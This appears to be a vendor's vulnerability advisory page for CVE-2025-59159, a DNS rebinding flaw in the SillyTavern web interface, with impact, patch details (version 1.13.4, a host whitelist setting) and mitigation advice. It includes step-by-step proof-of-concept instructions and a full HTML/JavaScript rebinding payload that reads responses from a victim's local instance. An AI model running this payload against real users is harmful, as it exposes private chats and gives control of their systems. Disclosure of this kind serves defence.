CVE-2025-59159 is a critical-severity (CVSS 9.6) CWE-346 vulnerability in sillytavern. A fix is available for sillytavern — see the affected versions and patch details below.
SillyTavern Web Interface Vulnerable to DNS Rebinding
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-59159.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
sillytavernnpmDescription
Summary
The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.
Details
DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1 for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.
PoC
- Host the PoC HTML file on a
/rebind.htmlendpoint (or any other endpoint) on a web server on port 8000 - Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)
- Replace the URL in the HTML with the returned URL on the site
- Go to
http://[URL]:8000/rebind.htmlin firefox or on any mobile browser if you're using termux - Check the developer tools console. It should return all of the data
Here is the PoC code:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Rebind Payload</title>
</head>
<body>
<script>
async function tryRebind() {
while (true) {
try {
let res = await fetch("http://[DOMAIN HERE]:8000/");
let text = await res.text();
if (text.includes("Directory listing for /")) {
console.log("Still attacker server, retrying...");
await new Promise(r => setTimeout(r, 2000));
continue; // don't break yet
}
console.log("GOT VICTIM RESPONSE!");
console.log(text.substring(0, 300));
break;
} catch (e) {
console.log("Fetch failed, retrying...", e);
await new Promise(r => setTimeout(r, 2000));
}
}
}
tryRebind();
</script>
</body>
</html>
Impact
Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.
Resolution
A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled in config.yaml file or SILLYTAVERN_HOSTWHITELIST_ENABLED environment variable.
While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.
Resources
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | sillytavern | all versions | 1.13.4npm install sillytavern@1.13.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sillytavern, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update sillytavern to 1.13.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-59159 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2025-59159 in your dependencies?
Find it across npm, including transitive dependencies.